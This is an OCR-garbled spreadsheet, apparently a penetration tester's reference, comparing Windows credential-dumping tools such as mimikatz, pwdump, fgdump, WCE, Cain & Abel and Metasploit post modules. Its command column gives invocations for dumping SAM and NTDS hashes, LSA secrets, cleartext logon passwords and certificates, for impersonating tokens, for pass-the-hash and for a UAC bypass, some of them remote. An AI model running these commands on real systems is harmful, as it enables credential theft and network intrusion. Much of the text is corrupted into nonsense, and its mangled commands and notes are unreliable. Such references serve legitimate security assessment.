Tool	Command line	gui T	.coal Remote	SAM	Password history	LSA secrets	Credential manager	Protected storage	Autologin	Logon sessions	Cached domain logon information	Wrotess VNC Certificates	nd kevs 32-bi	el 64-bit l	Windows XP/2003	Windows Vista/2008/7	RDP session isolation	Notes	Commanda
							Yes locally	Van baarba				Yes No							
Coln & Abel	No	Yes	es Yes. See note	s Yes (in-memory and from reg files)	Yes	Yes (in-memory and from reg files)	No remotely	No nemotely	Yes (via LSA secrets)	No	Yes (in-memory and from reg files)	s Yes No	Yes	Yes	'es	Yes	Yes	machine as an administrative user, right-click on Services, then "Install Abel", refresh your Natwork tab and expand the target entry, then expaind the Abel sub-entry and either dump SAM and password history from "Hashes" entry or LSA secrets from the entry below.	
parturas?	Yea	No	es No	Yes (n-memory)	No	No	No	No	No	No	No N	No No	Yea	No. See notes	'es			LSA secrets from the entry below.  On 64-bit architecture if faith and displays "Createformost Thread failed: 5".  On emoble logon sessions via REP if faith and displays "Createformost Thread failed: 5", run as SYSTEM to avoid this from	
		_															Yes. See notes	*CreateRemoteThread failed: 8", run as SYSTEM to avoid this from happening.	C-0-pardump2 con lisses ere PDI C-0-Pacturep zee - o pacturept log 127.0.0.1
pardump6	Yes. See notes	No	es Yes	Yes (in-memory)	Yes	No	No	No	No	No	No No	No No	Yes	Yes	es	Yes	Yes	Make sure you launch it from C/L and not from a network shared folder.	C1PPsDump.exe -x -o padump6.log 127.0.0.1 # 64-bit C1PPsDump.exe -o padump6.log -u Administrator -o <pre>cassavord* -s ADMINS 192.168.0.1 # remote, one IP</pre>
Zamukwa	Yes	No	es No	Yes (from registry files). See notes	No	No	No	No	No	No	No No	No No	Yes	Yes	'es	Yes. See notes	Yes	Make sure you launch it from CA and not from a network shared folder.  On domain controllers use in-memory tools or extract from rids dit file as SAM contains no domain users, just the "restore mode" administrator research of the DC.	Confidency or a function of the confidency of th
																		To dump the cached domain creds, it embeds cachedump.exx and on 64-bit architecture it fails and displays "ERROR Unable to LoadLibrary Isaarv.dll	C:14gdump.cox -c -r -v -v -k -figdump.tog -T 3 -O 32 C:14gdump.cox -c -r -v -v -k -figdump.tog -T 3 -O 64 #64-bit
todumo.	Yes	No	es Yes	Yes (n-memory)	Yes	No.	No	Unreliable. See notes	No	No	Yes (in memory). See notes	No No	Yes	Yes	'es	Yes		[code 126]*. The dumping of protected storage fails and displays "fgexec CallNamedPipe label and the series" according to the problem of	C.1-fgdump.eoe-s -r -v -v -k -fgdump.log -T 3 -O 32 -h 192 168.0.1 -u Administrator -p *password* # remote, one IP C.1-fgdump.eoe-s -r -v -v -k -fgdump.log -T 3 -O 32 -f ps.tor -u Administrator -p *password* # remote. Plat
PWOumpX	Yes	No	es Yes	Yes (in-memory)	Yes	Yes (in-memory)	No	No	Yes (via LSA secrets)	No	Yes (in-memory)	No No	Yes	No. See notes	'es	Yes (?)		On 64-bit architecture it fails and displays "ERRORI Cannot start PWDumpX service on host".	C:>PWDumpX.exe -dph 127.0.0.1 + #use current logon session credentials C:>PWDumpX.exe -dph 127.0.0.1 Administrator *password*
						<u> </u>			-				_				Yes	service on host.  greedump is excellent in dumping LSA secrets regardless of the Windows version and secrethedure.  Since version 2,055 it is also reliable to dump SAMAD hashes as well as	C:>PWDumpX.axe-dph jps.txt + + # remote, IP list
																		Since version 2.05d it is also reliable to dump SAM/AD hashes as well as locon sessions recardless of the Windows version and architecture.	
<u></u>				Tea (Frining). See mass		The (including)		T .	Tes (ta Los motes)	rea (curry). See noma	~ I			Tea See ISsue				logen sessions regardless of the Windows version and architecture. On amobe logen sessions via RDP it fals and displays 'emor (5) in GetEXDCOde Threat. The handle is invalid for 'emor (5) in CreateRemoteThreat. Not enough storage is available to process this consequence. On the Code of the	
													_				Yes, See notes		C1-csectump.exe-a
carrot	Yes. See notes	No	es No	Yes (from registry files). See notes	No	No	Unreliable. See notes	Yes	Yes	No	No Y	s Yes No	Yes	Yes	'es	Yes		WirelessKetView, etc). Prefer netpass to dump the credential manager.	C11-carroll asse Incuse: # ass SYSTEM, disable UAC C11-carroll asse X2 Ipsedump Inp. (np. lips Indian Inno: # as user or Administrator. C10-carroll asse X2 Ipsedump Inp. (np. Indian Inno: # as user or Administrator. 64-bit
Metasphit smart_hashdump (post module)	Yea	No	es Yes	Yes (local users in-memory and from reg files, domain users in-memory). See notes	No	No	No	No	No	No	No N	No No	Yes	Yes	'es	Yes	res	It is a burdle of the other looks including the NRSoft ones (netpass, WindessNRSoft), with the credential manager. Prefer nations to dump the credential manager. To dump SAM habite at uses produce?. When not no domain confortiers, it will use the in-memory technique to dump dump of the conformation of	C.M. Carrottusce (A4 speciatrip into special name in as user or Admirestrator, 64-on
Metaspioit hashdump (post module)	Yes	No	ies Yes ies Yes	Yes (from registry files). See notes	No	No	No	No	No	No	No No	No No	Yes	Yes	'es	Yes		dump the hashes from SAM file instead. On domain controllers, prefer Metasploit smart_hashdump post modules	run posit/windowsipathenisment Interhotump GETSYSTEM=true run posit/windowsipatheninahdump
Metasploit hushdump (script)	Yes	No	es Yes	Yes (from registry files). See notes	No	No	No	No	No	No	No No	No No	Yes	Yes	es	Yes			run positivinisconi garinici rusancump run hisinidump run nini rinici run
																		Budge to one or EVETEN	run posit/windows/vscalate/bypassusic Background session ~X>*7 (yN) y
Metasploit hashdump (command)	Yes	No	es Yes	Yes (in-memory). See notes	No	No	No	No.	No	No	No No	No No	Yes	Unreliable. See notes	'es	Yes		Prefer to run as SYSTEM. On 64-bit architecture running as SYSTEM within a shell with UAC bypassed it fails and displays "priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect".	run poseworoowsecaseo opsassuc Background session X-Y-1 (N) y et al. (Background session X-Y-1 (N) et al. (Background session X-Y-1 (N) et al. (Background session X-Y-1 et al. (Background session) e
								_				_						parameter is incorrect*.	hashdump Run as any use: minibilit # sandump:hashes *systemfle> *samfle> # dump SAM hashes from negistry file
																			Run as SYSTEM (psecoc exe -s cmd.cos) or alternatively assign yourself SeDebugPrivilege with "privilege: debug":
																			This is DYTTE (prece on 4 and one or alternatively susty) posed Educatively-indep with "privilege indexig" internative 8 april on the second one of the second of the sec
minikutz,	Yes	No	es No	Yes (in-memory and from reg files)	Yes	Yes (in-memory)	Unreliable. See notes	No	Yes (via LSA secrets)	Yes (dump and impersonate) See notes	No N	No Yes (exportable a non-exportable)	nd Yes	Yes	'es	Yes	Yes		mirrikatz # @getLogonDessions # dump logon sessions mirrikatz # @getLogonPasswords # dump clear-text passwords for all sessions (console, RDP, services)
																			Blue as user or Administrator
																		For details on @getLogonPasswords command refer too:	Run as user or Administrator: ministrat & diversiscentia ministrat & organization and the diversiscentia ministration & organization and the diversiscential ministration & organization particular diversiscential diversis
																		http://blog.gentilk/wi.com/securite/pass-the-pass http://blog.gentilk/wi.com/securite/re-pass-the-pass	mimikatz # crypto: exportCertificates # dump user's DER and PFX certificates mimikatz # crypto: exportKeys # dump user's DER and PFX beys  # dump user's PFX beys    Prince a SYSTEM pleased: cost - crnd.eoe :
portial	Yes	No	les No	Yes (in-memory and from reg files)	Yes	No	No	No	No	No	No No	No No	Yes	Yes	'es	Yes	Yes		C1-pathst sox - systemilier - samilier - # in-memory technique C1-pathst sox - systemilier - samilier - # office SAM and SYSTEM registry files # midd - o pretizion # in-memory technique # in-memory
thtive / samdureQ	Yes		es No	Yes (from registry files)	No	No	No	No	No	No	No N	No No	Yes	Yes	'es	Yes			# mount /devisda1 /mnthda1
																	-	Dump SAM hashes with physical access to the system	# samdump2 /mrt/ada1/Windows/System32/config/SAM /mp/saved-syskey.txt > /mp/hashes.txt
creekdump by moyls	Yes	No .	es No	Yes (from registry files)	Yes	Yes (from registry files). See notes	No	No	Yes (via LSA secrets)	No	Yes (from registry files)	No No	Yes	Yes	'es	Yes		To dutto LSA secrets of Windows Vista and above versions: use the	S - pissuring by  By Syndron by Syndron hives "SAM hives S - Suchnisharing by  Laugher S - Suchnisharing by  Laugher S - Suchnisharing by  S - Suchnishari
																			we give the continued continued and continue
																			\$ /configure && make \$ cd executoods
rids dumo hash	Yes	No 1	es No	Yes (domain users, from ritds.dit file)	Yes	Yes (from registry files)	No	No	Yes (via LSA secrets)	No	Yes (from registry files)	No No	Yes	Yes	'es	Yes			5 /lesedbdumphash -v -1/tmploutput <ntds.dit file:<br="">5 bi -1 /tmploutput.export/</ntds.dit>
																			S cd
																			Commontal of any office the Common of the Co
																			5 // / / / / / / / / / / / / / / / / /
																			# make install # as root \$ eserbexport -/ /tmp/eserbexport.log -/ /tmp/ntds.ditntds.dit
NTDSXYes	Yes	No	13 No	Yes (domain users, from rids dit file)	Yes	No.	No	No	No	No	No N	No. Yes (7)	Yes	Yes	· ·	Yes			5 iki -1 (repintas idi kepan) diatatahir 3 hidanahir 4
					1								1						link_table 5
																			\$ sign! 18th./licabebants comidownloads/indicotract/indicotract_v1_0.zip \$ crutip indicotract_v1_0.zip \$ cd NTDSX/micd_1.0
																			s co N LOAMBEL 13.  \$ python dissues py Propintids dit.exponivisatisable 3 Propintids dit.exponivink_table.5 —passwordhashes <\$ \text{SYSTEM file} \)— passwordhashey <\$ \text{SYSTEM file} \)—cerifficiales — suppliceds <\$ \text{SYSTEM file} \)—membraniby > Propintids dit.output \$ symplements glitch continguisheriscalianeouslineathindisheyoutput py \$ \text{symplements glitch continguisheriscalianeouslineathindisheyoutput py \$ \text{symplements glitch continguisheriscalianeouslineathindisheyoutput py \$ \text{symplements glitch glitc
																		NTDS.DIT Forensics The trial version is limited in functionalities, however it can dump SAM	5 wget hitps://www.github.com/inquisb/miscellaneous/master/ntcktopedump.py 5 python ntcktopeedump.py /tmp/mbts.dt.cu/put
passcape Windows Password Recovery	No	Yes. See notes	es Yes	Yes (local users in-memory and from reg files, domain users from rids dt file)	Yes	Yes (in-memory?)	No	No	Yes (via LSA secrets)	No	Yes (in-memory? and from reg files)	No No	Yes	Yes	'es	Yes	Yes	hashes from registry files and in-memory locally.	
palsedit on Linko Linux	Yes	No	es No	Yes (domain users, from Samba's config)	Yes	No	No	No	No	No	No N	No No	Yes	Yes	io	No			# pds.eft (. w. a incharation for if yet * whit in (.) (@indps.ed + yet)(. ft.) per fundamen(f), **.  Introsect(f) (. *, '(entreased) (. *, '(entr
													_						7 "NO PASSWORD"
passoage Network Password Recovery	No	Yes. See notes		No	No	No	Yes	No.	No	No	Yes (from registry files) Yes	s No No	Yes	Yes	'es	Yes	Yes	dumped passwords. The lifetime personal license costs \$32. On 64-bit architecture it fails and displays "Create/RemoteThread failed: 5".	
badamg2	Yes	No	ies No	No	No	Yes (in memory)	No	No	Yes (via LSA secrets)	No	No No	No No	Yes	No. See notes	'es	No (?)		On remote logon sessions via RDP it falls and displays "CreateRemoteThread falled: 8", run as SYSTEM to avoid this from	
					<del>                                     </del>												Yes. See notes	Pappersing. It has always failed to dump all LSA secrets of services running as legitimate. Windows local users repectises of the architecture on hoth Windows 7 and	C19-baidump2.exe
LSASecretsDurro	Yes	No	es No	No	No	Unreliable. See notes	No	No	Yes (via LSA secrets)	No	No No	No No	Yes	Yes	es	Yes		Windows local users regardless of the architecture on both Windows 7 and Windows Server 2003 SP2. On serrole logon sessions via RDP it falls, run as SYSTEM to avoid this from	C:9-LSASecretsDump.exe-empty
LSASecrets/Vesu	No	Yes	es No	No	No	Unreliable. See notes	No	No	Yes (via LSA secrets)	No	No N	No No	Yes	Yes	'es	Yes	Yes. See notes	happening.  As per LSASecretsDump, it has always failed to dump all LSA secrets. On serole logor sessions via RDP it falls, run as SYSTEM to avoid this from	CIPLSASecretaDump-x64 see -empty # 64-bit
Network Password Recovery (netpass)	Yea		es No	No	No	No	Yes	No	Yes (via LSA secrets)	No	No N		Yes	Yes. See notes	'es	Yes	Yes. See notes	happening.	C'D-netpass. exx /scomma netpass.civ
Metaspiot gather/credentials/enum_cred_stone (post module)	Yea		ies Yes	No	No	No	Unreliable. See notes	No	No	No	No N	No No	Yes	Yes	'es	Yes	res	Chanaise no enfries will be dumped.  Prefer netpass and Cain & Abel to this Metasploit post-exploitation module. It found all entries but it dumped 2 out of 7 entries and the loot output file is not	C.V-respess exeracomma necessa.csv
																		Avoid this tool. It crashes the Isass exe process and the system gets	run post/windows/pather/credentials/erum cred stone
creditums by cold.it	Yes. See notes		es No	183	No	100	Unreliable. See notes	<b>1</b> **	160	No	No N	No No	Yes	No. See notes	45	No	Yes	restarted automatically. Use Cain & Abel by the same author or netpass instead.  On 64-bit architecture it fails and displays "CreateRemoteThread failed: 5".	C:I-creddump.ese
Protected Storage Passiview (pspv) Metasciall nurhan/moderfishbisindows as fribody (northmodule)	Yes		es No	No.	No.	No.	No.	Yes	No	No.		No No	Yes	Yes Yes	'es	Yes	Yes		C:1/epigev.iose /atlab pagev.tot
Metasploit gather/oriedentials/windows_autologin (post module)			es Yes								N.								run post/windows/gither/credentisls/windows_autologin  C1-wora.cox -1 -v # dump available logon sessions  C1-wora.cox -5 # dump available logon sessions
Windows Credentials Editor (WCE)	Yes	No	es No	No	No	No	No	No	No	Yes (dump and impersonate)	No No	No No	Yes	Yes. See notes	es	Yes		Make sure you run the 64-bit version of this tool on 64-bit architecture	C:l>vca.sca -3 # dump svalidite logon sessions every 3 secs C:l>vca.sca -4 *useriidomain>-LM hash>-NT hash> -c cmd.sca # repersonals a logon session
Day To their Tests (DD)												No No	Yes	No. See notes		No. See notes	Tes .	Make sure you run the 64-bit version of this lood on 64-bit architecture offerwhise it leads to lead to 10 miles of 10 miles	Citywos exe -g ropasycord*  Elizabines all sea - G ropasycord*  Elizabines all sea - Ausser
Pass-The-Hash Tookit (PTH)							1-	100	T-1	ved (oump and impersonate)	N N				-			On remote logon sessions via RDP it falls and displays "Error in	
	Yes	No			No	No											Yes. See notes	I I I I I I I I I I I I I I I I I I I	C:t-penhash.exe <password> # generate LM and NT hash of <password> This is an admireshible year.</password></password>
	Yes	No			No	No.											Yes. See notes	DESCRIPTION OF THE PROPERTY OF	Cit-perhips toxis opssaconds  # generate LM and NT hash of "passwords Nursia an admiration studies and not hash of "passwords Nursia an admiration suss."  Cit-hospinib size -h 127.0.0.1 fig. [obsers - u # list available user tokens  Cit-hospinib size -h 127.0.0.1 fig. [obsers - g # list available group tokens
	Yes	No			No	No											Yes. See notes	The state of the s	E-logarithat less replassed :  # cannests Mil and NT hash of "passed if the same of the sa
	Yes	No			No	No.											Yes. See notes	WEST-COMPANIES AND	Controllation and consequence   # controllation and consequence  # controllation and consequence  # controllation and consequence  # controllation and contr
	Yes	No			No	No.							T				Yes, See notes		Company to the Company of the Compan
roceite	Yes	No	is Yes	No	No.	No.	No	No	No	Yes (lat and impersonate)	No N	No. No.	Yas	Unveilable. See notes	'es	Urreliable. See notes	Yes See notes		Company to the Company of the Compan
2009/20	Yes	No	in Yes	N-	No No	No.	No	No	No	Yes (lat and impersonate)	No.	No No	Yes	Unveilable. See notes	'es	Urrefeible. See notes	Yes See notes		Company of the Compan
accorda	Yes	No.	es Yes		No.	No.	No.	No.	No.	Yes (list and imparsonate)	No.	No. No.	Yes	Unreflable: See notes	'es	Unreliable: See notes	Yes. See notes		Chromogram 4 or 77.00 Me, Uniter or 4 of Manufacture Ment.  Security Chromogram 4 or 77.00 Me, Uniter or 4 of Manufacture Ment.  Security Chromogram 4 or 77.00 Ment. 4 of Manufacture Ment.  Chromogram 4 or 77.00 Ment. 4 of Manufacture Ment. 4 of Manufacture Ment.  Chromogram 4 or 77.00 Med. (Jan., and. 4 of Manufacture Ment. 4 of Manufacture
Događa	Yes Yes	No.	es Yes		No.		No	10	No	Yes (list and imparsonate)	Na N	No. No.	Yes	Unreflable. See notes	'es	Urrefiable. See notes	Yes. See notes		Chromogram 4 or 77.00 Me, Uniter or 4 of Manufacture Ment.  Security Chromogram 4 or 77.00 Me, Uniter or 4 of Manufacture Ment.  Security Chromogram 4 or 77.00 Ment. 4 of Manufacture Ment.  Chromogram 4 or 77.00 Ment. 4 of Manufacture Ment. 4 of Manufacture Ment.  Chromogram 4 or 77.00 Med. (Jan., and. 4 of Manufacture Ment. 4 of Manufacture
accessing.	Yes	No.	es Yes		No.	6	No	10	No	Ves (list and impersonate)		No. No.	V	Unreflable. See notes	'es	Urreflable. See notes	Yes See notes		Chromogrius et 27.20 i Mil, charact et 45 de antidios aire béans.  Servicingia en 40.72.00 i Mil, charact et 45 de antidios aire béans.  Servicingia en 40.72.00 i mil contra 45 de antidios aire béans.  Chromogrius et 40.72.00 i mil contra 45 de antidios et 45 de a
toosita	Yes	No.	es Yes	10.	No	10	No.	16	No	Yes (bit and imparisonate)	s. s	No. No.	Ves	Unvaluable: See notes	'ea	Unreliable. See notes	Yes. See cotes		Chromogram 4 or 77.00 bit, before or 4 of Manufacture Sheet.  Secretary and A 17.00 bit, before or 4 of Manufacture Sheet.  Secretary and A 17.00 bit, and a 17
Scotting	Yes Yes	No.	es Yes		No.		140	No.	No.	Yes (list and impersonale)  Yes (list)	S	No. No.	Yes	Unwistle. See notes	'es	Unestable. See rotes	Yes See rotes	This test is not officially expressed in 64-bit annihilation and second versions of the first test in the distribution before and improvement contents.	Chromogram 4 or 77.00 high character of with another are been considered as a 77.00 high character of with another are been considered as a 77.00 high character of with a 77.00 high character of payments and considered payment considered as a 77.00 high character of with a 77.00 high character of payments and considered payments and considered payments are payments as a 77.00 high character of payments are payments are payments as a 77.00 high character of payments are payme
announts	Yes Yes	No.	es Yes		No.		100	No.	No.	Yes (bit and expensionale)  Yes (bit and expensionale)		No. 10.	Yes	Unwilable. See notes Yes	'es	Urnstable. See notes	Yes See rides	This hortic are officially paperhed on \$6.50 emblactures and most recruises of the other sections. But it is few three to be did annihilate balance and impercentate contents.	Chromogram 4 or 77.00 bit, before or 4 of Manufacture Sheet.  Secretary and A 17.00 bit, before or 4 of Manufacture Sheet.  Secretary and A 17.00 bit, and a 17
blonco	Yes Yes	No.	in Yes		No.		No.	No.	No.	Yes (let and experience) Yes (let) Yes (let) Yes (letry)	L	14. 16	Yes	Unwitable. See notes  Yes	'es	Unrefiable. See notes  Yes	Yes See rides	This hortic are officially paperhed on \$6.50 emblactures and most recruises of the other sections. But it is few three to be did annihilate balance and impercentate contents.	Chromogram 4 or 72 d. 1 May Charton 4 of 4 del modello and these  Chromogram 4 or 72 d. 1 May Charton 4 of 4 del modello and these  Chromogram 4 or 72 d. 1 May Charton 4 of 4 del modello and these  Chromogram 4 or 72 d. 1 May Charton 4 of 4 del modello and these  Chromogram 4 or 72 d. 1 May Charton 4 of 4 del modello and the 1 d
blonco	Yes Yes Yes	No.	us Yes		No.		140 140	No.	No.	Vas (lat and impersonals)  Vas (lat)  Vas (lat)  Vas (latre)  Vas (populouses	10 10 10 10 10 10 10 10 10 10 10 10 10 1	No. 10.	Yes Yes	Unvalida See notes  Yes  Yes	ea ea	Chrestatis. See notes  Yes  Yes	Yes See rides	This boal is not efficiely supported on 56 kill activities and most versions of the boars. Then is a fine forms to be off available before and representationable.  This boal is not efficiently supported on 56 kill activities and most versions to be only activities and some control of the co	Chromogram 4 or 77.00 high character of with another are been considered as a 77.00 high character of with another are been considered as a 77.00 high character of with a 77.00 high character of payments and considered payment considered as a 77.00 high character of with a 77.00 high character of payments and considered payments and considered payments are payments as a 77.00 high character of payments are payments are payments as a 77.00 high character of payments are payme
hinos furban	Yes Yes Yes	No.	en Yes		No.		No.	No.	No.	Yes (list and impersonality)  Yes (list)  Yes (list)  Yes (skry)  Yes (skryo)		14. 16	Yes Yes Yes	Yes Yes		Unvariable. See notes  Yes	Yes Stee rides  Yes  Yes  Yes	This bould and officially proposed on 56 kB artificiates and soon investment of through the 18 kB artificial and official and the 18 kB artificial and through the 18 kB artificial and through the 18 kB artificial to be 18 kB artificial to be 18 kB artificial and through the 18 kB artificial and through throu	Chromogram 4 or 77.00 hg, but an order of 4 of another are been compared to the compared of th
Salama BurnAsh Recott	Yes Yes Yes Yes Yes Yes	153 153 153 153 153	in Yes		An and a second		100 100 100 100 100 100 100 100 100 100	No.	No.	Yes (lef and impersonals)  Yes (lef)  Yes (lef)  Yes (chmp)  Yes (chmp and impersonals)		10 10 10 10 10 10 10 10 10 10 10 10 10 1	Yes Yes Yes	Yes Yes		Unrediable. See notice  Yes  Yes	Yes See notice  Yes  Yes  Yes  Yes  Yes	This tool is not officially supported on 64 of artifacture and second versions, the control of the control to the description of the second versions of the control of the	Chromogram et 97.20 il Mi, Usario e 4 et al antidia est bases.  Chromogram et 97.20 il Mi, Usario e 4 et al antidia est bases.  Chromogram et 97.20 il Mi, Usario e 1 et al antidia est bases.  Chromogram et 97.20 il Mi, Usario e 4 et antidia est bases.  Chromogram et 97.20 il Mi, Usario e 4 et antidia est bases.  Chromogram et 97.20 il Mi, Usario e 4 et antidia est bases.  Chromogram et 97.20 il Mi, Usario e 4 et antidia est bases.  Chromogram et 97.20 il Mi, Usario e 4 et antidia est bases.  Chromogram et 97.20 il Mi, Usario e 4 et antidia est bases.  Chromogram et 97.20 il Mi, Usario e 4 et antidia est bases.  Chromogram et 97.20 il Mi, Usario e 4 et antidia est bases.  Chromogram et 97.20 il Mi, Usario et 4 et antidia est bases.  Chromogram et 97.20 il Mi, Usario et 4 et antidia est bases.  Chromogram et 97.20 il Mi, Usario et 4 et antidia est bases.  Chromogram et 97.20 il Mi, Usario et 4 et antidia est bases.  Chromogram et 97.20 il Mi, Usario et 4 et antidia est bases.  Chromogram et 97.20 il Mi, Usario et 4 et antidia est bases.  Chromogram et 97.20 il Mi, Usario et 4 et antidia est bases.  Chromogram et 97.20 il Mi, Usario et 4 et antidia est bases.  Chromogram et 97.20 il Mi, Usario et 4 et antidia est bases.  Chromogram et 97.20 il Mi, Usario et 4 et antidia est bases.  Chromogram et 97.20 il Mi, Usario et 4 et antidia est bases.  Chromogram et 97.20 il Mi, Usario et 4 et antidia est bases.  Chromogram et 97.20 il Mi, Usario et 4 et antidia est bases.  Chromogram et 97.20 il Mi, Usario et 4 et antidia est bases.  Chromogram et 97.20 il Mi, Usario et 4 et antidia est bases.  Chromogram et 97.20 il Mi, Usario et 4 et antidia est bases.  Chromogram et 97.20 il Mi, Usario et 4 et antidia est bases.  Chromogram et 97.20 il Mi, Usario et 4 et antidia est bases.  Servico et 1 et
ahasa Barake marai sarakang	Yes Yes Yes Yes Yes Yes Yes	Tasa	as Yes				and		No.	Yes (bit and inpersonate)  Yes (bit)  Yes (bit)  Yes (durp)  Yes (durpenousle)  Yes (durp and impersonate)  Ga	No N No N Yes (in-memory) N	10 10 10 10 10 10 10 10 10 10 10 10 10 1	Yes Yes Yes	Yes Yes		Constable. See rotes  Yes  Yes  Yes  Yes  Yes	Yes See notice  Yes  Yes  Yes  Yes  Yes  Yes  Yes  Y	This tool is not difficulty appropried as 66 all entitles has not record versions.  The tool is not difficulty appropried as 66 all entitles have not improve a control of the control of	Chromogram et 17 (20 h. Mc) cannot et 4 of an ordinal seat bears  (Chromogram et 17 (20 h. Mc) cannot et 4 of an ordinal seat bears  (Chromogram et 17 (20 h. Mc) cannot et 17 (41 h. Mc) cannot et 17
Blanca Burchich  Birchich  Birchich  Birchich  Birchichung  Metasching and protein-photographytic prost modula-	Yes  Yes  Yes  Yes  Yes  Yes  Yes  Yes	No No	ies No ies Yes						Table State	Vas (list and impersonals)  Vas (list)  Vas (list)  Vas (list)  Vas (listnes)  Vas (listness)  Vas (listness)	No         N           No         N           Yes (in-memory)         N           Yes (from neglatry files)         N		Yes Yes Yes	Yes Yes		Chrestable Saw notices  Yes  Yes  Yes  Yes  Yes  Yes  Yes	Yes See notion  Yes  Yes  Yes  Yes  Yes  Yes  Yes  Ye	This have in an effectively proportion on 66 M annihilations, and count retrieves of throates. But it is the stress to fail at annihilation below and impersonant country.  This have in and officially responded to 66 all annihilations and record retrieves to the country of the	Chromogram et 97 (20 http://www.exp.com/com/com/com/com/com/com/com/com/com/
alman Renthes manifestations	Yea  Yea  Yea  Yea  Yea  Yea  Yea  Yea	No No Yes	es No es Yes es No				No.		Table State	Van (bit and impersonale)  Van (bit)  Van (bit)  Van (bitre)  Van (chreg)  Van (chreg ord impersonale)  Van (chreg ord impersonale)	No         N           No         N           Yes (in-memory)         N           Yes (from neglatry files)         N	10 10 10 10 10 10 10 10 10 10 10 10 10 1	Yes Yes Yes	Yes Yes Yes		Considité Sur robus  Yes  Yes  Yes  Yes  Yes  Yes  Yes  Y	Yes See solds  Yes  Yes  Yes  Yes  Yes  Yes  Yes  Y	This have in an effectively proportion on 66 M annihilations, and count retrieves of throates. But it is the stress to fail at annihilation below and impersonant country.  This have in and officially responded to 66 all annihilations and record retrieves to the country of the	Compagning and VTEO 1 May believe or 4 feb another over been compared to the Compagning and VTEO 1 May be the Compagning and VTEO 1
ahasa firendah tasal isafahasa isafaha isafahasa isafaha isafa isafaha isafaha isafaha isafa isa	Ves  Ves  Ves  Ves  Ves  Ves  Ves  Ves	No No Yes	ies No ies Yes				N N N N N N N N N N N N N N N N N N N		No.  Store S	Yes (bid and experisonale)  Yes (bid)  Yes (bin)  Yes (charge)  Yes (charged)  Yes (charged)  Yes (charged)  Yes (charged)  Yes (charged)	No         N           No         N           Yes (in-memory)         N           Yes (from neglatry files)         N		Yes Yes Yes	Yes Yes		Ormelado See nobes  Tiva  Tiva	Yes Bet selder  Yes  Yes  Yes  Yes  Yes  Yes  Yes  Y	This have in an effectively proportion on 66 M annihilations, and count retrieves of throates. But it is the stress to fail at annihilation below and impersonant country.  This have in and officially responded to 66 all annihilations and record retrieves to the country of the	Compagning and VTEO 1 May believe or 4 feb another over been compared to the Compagning and VTEO 1 May be the Compagning and VTEO 1
Salania Salani	Yes  Yes  Yes  Yes  Yes  Yes  Yes  Yes	No. No. Yes	es No es Yes es No						The state of the s	Yes (let and impersonate)  Yes (let)  Yes (let)  Yes (let)  Yes (let)  Yes (impersonate)  Yes (impersonate)  Yes (impersonate)  Yes (impersonate)	No         N           No         N           Yes (in-memory)         N           Yes (from neglatry files)         N		Yes Yes Yes Yes Yes Yes Yes Yes	Yes Yes		Constitute Saw makes  Yes  Yes  Yes  Yes  Yes  Yes  Yes	Ven. Best orders  Ven.  Ven.	This have in an effectively proportion on 66 M annihilations, and count retrieves of throates. But it is the stress to fail at annihilation below and impersonant country.  This have in and officially responded to 66 all annihilations and record retrieves to the country of the	Chromogram et 977.00 May bear or 4 of the another are bear or the company of the

Tool	Command line	GUI	Local	Remote	SAM	Password history	LSA secrets	Credential manager	Protected storage	Autologin	Logon sessions	Cached domain logon information	Wireless V	IC Certificates and keys	32-bit	64-bit	Windows XP/2003	Windows Vista/2008/7	RDP session isolation	Notes	Commands
VNCPassView	Yes	Yes	Yes	No	No	No	No	No	No	No	No	No	No Y	No	Yes Yes	69	Yes	Yes	Yes		C:>VNCPass/Vew.exe /stab vrcpass/sew.bd
Metasploit gatherivno (post module)	Yes	No	Yes	Yes	No	No	No	No	No		No	No	No Y	No	Yes Yes	68	Yes	Yes			run post/windows/gather/credentials/vnc
Metasploit getvnopw (script)	Yes	No	Yes	Yes	No	No	No	No	No	No	No	No	No Y	No No	Yes Yes	68	Yes	Yes			run gehincpw
by Bernardo Damele A. G.																					
http://bemardodamele.blogspot.com/search/label/dump																					